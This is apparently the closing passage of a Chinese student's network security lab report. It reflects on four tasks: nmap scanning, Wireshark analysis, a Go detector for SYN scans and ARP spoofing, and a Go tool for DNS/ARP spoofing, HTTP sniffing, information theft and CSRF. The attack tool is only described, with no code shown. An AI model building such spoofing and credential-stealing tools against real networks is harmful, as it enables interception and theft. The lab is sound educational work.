运行结果

查看窃取的信息:
运行结果

关闭镜像:
运行结果

心得体会

在参与本次网络安全实验之前,我对网络攻防技术的了解仅限于理论知识,这次实验让我尝试实践并更清晰地理解网络安全的实际应用。

首先,使用nmap进行端口扫描的任务教会了我如何探测网络中的活动设备及其开放的端口,这是网络安全评估中的基础步骤。通过实际操作,我更清楚地理解了端口扫描的原理和它在确定目标系统的安全漏洞中的作用。

其次,使用wireshark进行数据包捕获与分析的过程,增强了我的网络流量分析技能。通过对网络数据包的深入观察,我学习到了如何识别不同类型的网络通信和潜在的网络异常。

第三个任务中,我编写了一个Go语言程序来检测pcap文件中的可能的SYN扫描和ARP欺骗攻击。这个任务不仅提升了我的编程技能,还让我更加了解这些常见网络攻击的技术细节及其防御方法。

最后,编写一个能够进行DNS欺骗、ARP欺骗与监听HTTP请求的Go程序,实现信息窃取和跨站请求伪造,这个任务是最具挑战性的。它不仅要求我应用之前学到的知识,还需要我在实践中不断调试和优化代码,以确保程序的有效性和安全性。

通过这四个实验任务,我不仅提升了自己的技术能力,更重要的是增强了实际操作中解决问题的能力,对网络安全领域的理解也更加深刻,这将对我未来的学习产生积极影响。

项目代码

网络安全